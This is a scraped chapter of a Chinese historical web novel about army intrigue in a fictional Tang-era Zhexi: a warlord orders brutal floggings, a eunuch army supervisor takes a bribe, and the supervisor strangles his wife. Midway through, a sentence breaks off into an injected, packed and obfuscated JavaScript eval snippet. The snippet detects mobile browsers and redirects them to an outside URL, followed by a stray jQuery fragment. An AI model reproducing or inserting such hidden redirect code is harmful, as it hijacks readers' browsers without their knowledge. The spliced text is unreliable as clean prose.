默认冷灰
24号文字
方正启体

26. 第 26 章

作者:夜雪湖山本书字数:K更新时间:
    书房里没有几卷书,有的是酒器和刑具。


    独孤靖深信:读万卷书不如饮一斛酒,饮一斛酒不如抽二百鞭。是以一回到军府,他便杀气腾腾地直奔书房,从书架上选了一把九节钢鞭,又杀气腾腾地冲到庭中。


    那两个将校倒是乖觉,不劳他吩咐,已经自动趴在了长条凳上,袍子撩到腰间,裤子褪到膝弯,露出两面又大又白的屁股。


    钢鞭蘸酒,抽得噼啪作响,两面屁股爆竹一般上下左右弹跳开来,一时间红屑四溅。


    独孤靖含了一大口酒,连带着满嘴肉沫一道喷出,两个屁股顿时哭爹喊娘,没命地嚎给他听。


    “没用的东西!”


    独孤靖觉得他们的鬼哭狼嚎是在给自己叫好助阵,抡圆了膀子,越抽越来劲。


    “不学无术的蠢货!”


    “大唐六点和律数都查不明白,我打死你们!”


    “八十……九十……九十九……现在能查明白了吗?!”


    直到力竭,他将钢鞭扔给刑卒,喘着粗气:“打,再加一百,给我狠狠地打!”


    “大帅息怒!已经打了一百,再打……恐出人命!”


    “二百!”独孤靖俩眼珠子突地外冒,又给翻了一番。“再敢求情,连你们一块儿打!”


    三百鞭下去,那两个将校皆已奄奄一息,独孤靖心口的恶气犹未平复。


    打再多的屁股也挽回不了他这张老脸,一想到这里,独孤靖的老脸就沉得直往下坠,两只眼球夺眶而出,从左轱辘到右,再从右轱辘回左,满大帐寻找撒气的对象。


    帐中士卒个个蔫头耷脑,生怕这股气会撒到自己头上。平日里是狼的,这会儿都成了狗;平日里是狗的,这会儿已成了死狗,皆夹着尾巴,连大气儿都不敢出。


    独孤靖自谓是虎一样的男儿,狼一样的主帅,绝容不得狗一样的士兵;看了一圈,恶向胆边生,决定趁此机会好好整顿一下军务。


    “瞅瞅你们一个个的,成何体统!现在知道心虚了?都给我抬起头来!莫道本帅不晓得尔等的伎俩!”


    独孤靖背着手在大帐中踱步,挨个看过去,默默清点着帐中的人数,忽然灵机一动,露出了一个狰狞的笑容:


    “教练使何在?速传令各营——凡是溜出去吃花酒的,打猎的,四处鬼混的……一应趁着本帅不注意擅离行辕者,即刻滚到中军帐前领罚!”


    “还有你们!”他猛然回头,威严地扫视着帐中的各个将官,“莫要以为你们在军中有些颜面,本帅就不会罚你们!今日都有谁不在值守?立刻站出来,若能诚心悔过,本帅或可网开一面!”


    大帐静如坟包,将官们也都跟死了一般,竟无一人站出来自首。先前的教练使仍呆呆地杵在原地,瞪着眼睛,张着嘴,活似个大傻子。


    独孤靖最受不了蠢人,当下大怒:“娘的,本帅训话你们当放屁?”


    教练使一脸为难:“回大帅的话,能听到大帅训话的,都是在值的;擅离职守者,他们……他们就算想听,也听不到大帅的训话。”


    独孤靖觉得他这话有教导自己的意思在,于是便命人将他也拖下去,打了三百鞭子。


    就在教练使说话的时候,有几位将官没管住自己的嘴,发出了一些不该有的笑声,不幸被节帅听到,于是也被拖了下去,与那位倒霉的教练使共享鞭策。


    庭前哀嚎声此起彼伏,连绵不绝。独孤靖的怒火终于有了发泄的出口,心气渐平,这便发现今日帐中少了一位重要的人物。


    “闻锜何在?”


    “闻将军的车驾似乎是往……”


    “启禀大帅,金明坊进了新的歌伎,将军去听春莺啭了。”抢话的是闻锜的副将。


    独孤靖很想将他和姓闻的也一并料理了,虑及对方的地位,不得不暂且忍下,阴沉道:“还不去找?叫他立刻滚回来见我!”


    副将出了辕门,径直奔赴监军院。


    监军院里摆着一株六尺来高的珊瑚,色泽深如朱砂,枝干虬结似龙,一看便知不是凡品。


    闻锜正折着腰,满面笑容地指着珊瑚顶端的一丛嫩杈:“田将军请看,此杈之形,可比拟何物?”


    田蔚仰望过去,只见那嫩杈斜枝修延,背生双翼,犹如一只仙鹤正在引颈翱翔。


    “此乃天然形成的祥瑞,虽不名贵,单取其吉祥之意,特献于将军。愿将军如同这樽赤玉珊瑚,丹墀引路,一飞冲天。”


    田蔚表字鹤瑞,平日尤其喜爱与鹤有关之物。闻锜为了投其所好,不可谓不用心,所说的“一飞冲天”之语亦有深意。


    上月初四,东院枢密使俱守义因疾猝死,接替他的人选至今还没有定论。


    东西两院枢密使和神策军左右中尉,并称“四贵”,乃是阉人可达之极位。


    如今枢密使一职出缺,各地监军使都馋得双眼通红,使出浑身解数上下请托,都想一飞冲天。


    田蔚自然也想,其实早在六年前,他就曾有过一飞冲天的机会。


    天下方镇共四十八道,虽然都称方镇,其中亦有等次之别,各镇长官的前途也就因此而异。


    西川与淮南、河东等地一样,是第一等次的重镇,于节度使、观察使而言,是宰相回翔之地,于监军使而言,则是枢密使和神策军中尉的回翔之地。


    当年西川之战,因吐蕃降将贺悉赞一事,裴党与马党、朝臣与宦官,各方势力斗得不可开交,裴弘因此与相位失之交臂,田蔚亦未得好,在浙西一沉沦就是六年。


    眼下圣人卧病,储君地位不稳,形势并不比当年明朗。田蔚也不知道自己还能不能一飞冲天,望着那鹤形的珊瑚,心里面轻轻一叹。


    “闻将军有心了。”他淡淡一笑,命人将东西抬下去,估量着珊瑚的价值,等价地透露出一些宴会上的情形。


    闻锜听得很是振奋:“如此说来,此事还真是裴弘一手策划?他态度如此强硬,难道真的抓住了什么了不得的把柄?”


    浙西没有节度使,而是都指挥使与观察使分立,一者掌军,一者掌政。此乃妥协之果,一时之事,不会长久。


    闻锜乐见狗咬狗,打心底里希望咬得越烈越好,最好是能再掀起一次像当年西川那样的狂澜,将姓裴的和姓独孤的都拍死在东海的波涛里,如此,浙西就有机会姓闻了。


    “一个小小的都虞候,能有什么了不得的把柄。”田蔚的语气很轻蔑,也很笃定,给闻锜泼了一瓢冷水。


    闻锜对这话只信五分,恭维道:“将军代天子巡狩四方,监视刑赏,奏察违谬,浙西道六州三十七县,尽在掌握之中。便是天大的事,落在将军眼中,也都是小事。”


    这话虽有夸大之处,倒也不全是恭维。若论独孤靖的命脉系在何处,十个骆复义的口供也抵不过田蔚的一句话。


    宦官为天子家奴,纵有乖谬之事,因占了“忠诚”二字,在天子心中总是排在大臣——尤其是藩镇大臣——之前。


    天宝年间,朝廷逢难,鱼朝恩干扰军政,导致相州之败,事后却未得到任何惩罚;德宗之朝,义成监军使薛盈珍为上所宠信,欲诬节度使姚南仲军政,罪过大白,德宗不罪盈珍,仍使其掌机密。


    藩帅欲博圣心,须得厚交监军使,至少不能得罪监军使,这已经是人所共知之事。


    闻锜身为牙将,在镇海军中,一不缺实力,二不缺人望,欲谋浙西节度使之位,唯缺朝廷的认可。


    朝廷的认可大抵也就是田蔚的认可,所以他便对症下药,将田监军奉为祖宗,六年里香火不断,虽还不见显灵,仍是一片赤心,没有一句怨言。


    田蔚从茶水里吃出了一粒花椒,含在口中,四下寻找承接之物,闻锜毫不犹豫地伸出双手。


    “这如何使得?”连田蔚自己都有些不好意思了。


    闻锜笑道:“将军口含天宪,此乃末将之幸。”恭恭敬敬地将那粒花椒接过来,收在随身的囊袋中,这才又问:


    “既无过硬的证据,态度还如此强硬,难道裴弘当真是想扶持贤王?”


    田蔚感其赤诚,摇着头,说了一句实话:“你不了解他,裴行毅虽有一身傲气,却不莽撞。”


    他总觉得裴弘手里还有一枚致命的棋子没有落下,眼下只是故布疑阵罢了。


    闻锜琢磨这话的意思,觉得有些答非所问,“恕末将愚钝,还请田将军解惑。”


    “这局棋方入序盘,虚实未明,厚薄难测,还是要观变审势,莫急。”田蔚扯起了玄的,说完,唤人添茶。


    这便是一株珊瑚的价钱已经耗尽,委婉送客的意思了。


    闻锜心里骂了句“臭阉!”只好抬起屁股,行礼退出。


    田蔚目送他离去,直到他的身影消失在天井处,方才容色一收,回头问傔仆:“长安回信否?”


    傔人垂着首,行的是规矩的内廷礼:“不曾。”


    “请夫人过来。”


    “诺。”


    傔人一去良久,就在田蔚的耐心快要耗尽时,一位葛巾布裙的妇人姗姗来迟,进门之后,在距离门限一步之处停住。


    一见她这副青灯古佛的打扮,还有那张了无生趣的蜡黄面孔,田蔚就觉得倒胃口,预备好的笑容也打了折扣,只能尽量让语气听起来温和些:


    “窈娘,你头痛好些了吗?”


    田蔚的夫人姓杨,单名一个“窈”字。她今年才满三十,正是桃秾李艳的年纪,容貌亦称得上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206075|162516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姣好,只因气色不佳,加上素淡的打扮和麻木的神情,乍看上去便平添了好几岁的年纪。


    桃李因何枯凋,田蔚心里自然很清楚,正因清楚而益发痛恨。


    南梁徐昭佩因元帝眇一目,每知帝将至,必以半面妆相迎;田监军双眼健全,他的妻子就连半面妆都省了。


    “何事?”


    窈娘淡淡地问。


    她说话时不看田蔚,声音不高,嘴巴的开合也很轻微,一应举止和神情都尽可能地节省着力气。


    外人看了这副模样,定会觉得她像一截槁木,在田蔚看来则是蓄势待发、存心较劲,有待家法管教。


    可他今日有求于人,脾气就好得惊人,依旧温和道:“岳父的寿辰就要到了,我已备下厚礼,唯欠一封家信。你们父女多年不见,我想,这信还是由你来亲自执笔为好。”


    他的岳父,也就是窈娘的父亲,正是当今的西院枢密使杨知节。


    枢密使两院分职,东院掌中枢,西院掌诸道,专管各地监军使的迁转贬黜。田蔚欲得东院之职,少不得杨知节在朝中助力。


    窈娘厌恶田蔚,因此而食不得河蚌,对宫里那位父亲的厌恶还要更胜一筹,以至于一听到“父亲”二字,槁木似的脸上竟也有了表情。


    “父亲有多少儿子,多少女儿,就连他自己都数不清了。我能被他嫁给你,可知在姐妹中算不得出挑,恐怕他早就已经将我忘到了脑后。既然如此,我这家信写与不写,又有什么分别呢?”


    她在田蔚面前是绝不肯称“妾”的,言必将“我”字咬得极重,解恨似地,透着一股哏啾啾的劲头。


    田蔚就喜欢这股劲头,便也哏啾啾地晃了两下脑袋,朝着她走了过去。


    窈娘的脖子被他一手掐住,随着力度的加深,枯黄的面上浮出一层潮红。


    田蔚将另外一只手递到她鼻尖下:“你闻闻,这味道可还熟悉?”


    见她厌恶地皱起了眉头,他感觉有些委屈:“不记得了么,这可是你最喜欢的味道。就在今日的宴席上,这只手与那个人的手握过同一只酒盏,便也沾上了他的味道。我记得你一闻到这个味道就会笑——你笑呀,窈娘,你怎么不笑了?”


    窈娘咧开嘴,艰难地笑了,尽管脸色憋得发紫,这一笑仍然透出些许年轻时的灵艳,眼眶里那对干涸的眸子也跟着活过来了。


    她显然是嗅出来了、记起来了,田蔚死死地盯着她,借着她的眼眸,重温了当年的情形:


    那还是刚赴西川之任不久,裴帅醉酒,不小心将鹤氅遗落在监军院,田蔚命人送还,四处寻找不到,回到房中,却见那鹤氅正被年轻的妻子抱在怀里。


    她将头埋在其中,陶醉地深嗅着,不厌其烦地重复着这个动作,忽而发出了几声灵艳的笑;又将发烫的脸庞贴在其上,来回摩挲着,以一种不知羞耻的神情,直到与她的夫君四目相对。


    一想到那个场景,田蔚的心里就有一种莫名其妙的痛快,那感觉就像是搔痒,越搔越痒,越痒越想搔,似乎不死不休。


    那是他第一次将她打得那么狠——以往都是很爱惜地教训,绝不肯伤了她娇嫩的颜面——险些将她掐死。


    她当时的表情极为惊恐,像一尊薄胎的瓷盏,稍微一碰就碎裂开了。不像现在,她现在是一截脱了水的、哏啾啾的牛筋,她蔑视他,挑衅他,亦是不死不休。


    “同在浙西,却多年不得一见,你想得要命吧?裴帅的风采不减当年呢!”


    田蔚加重了手里的力道,在窈娘耳畔柔声细语。


    “他就算……就算再如何、如何风采卓然……”窈娘用力掰田蔚的手,依旧那么灵艳地笑着,“都与我、与我没有任何关系!谁不知道,大唐最守妇德的妇人,当属你们这些……这些阉人之妻!”


    田蔚的手忽然脱了力,窈娘趁势挣脱出来,扶着门框大口喘气。


    她脖子上很快显现出一道深红的掐痕,封着喉,像是一道枷锁。她已经说不出话来,便是如此,那咳嗽声依旧是哏啾啾的,饶有趣味地与枷锁作着对抗。


    田蔚默默地盯着她远去的背影,觉得自己对她的情意已经深入骨髓,生死难消。若是白乐天肯将诗才借三分给他,他吟出的句子必定比“同是天涯沦落人”更能打动人心。


    “你怎么就不认命呢?”田蔚自言自语,忽觉深受鼓舞,比以往任何时候都想一飞冲天。


    窈娘不写,他可以代她写。


    “来人,笔墨伺候!”


    平滑的皮纸在大案上铺平,松烟墨研开,狼毫蘸得饱满,递到抱玉手中。


    裴弘撩袍坐到高椅上,嘴角噙着一丝似有若无的笑:“幸好折的不是右臂,不耽误写字。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)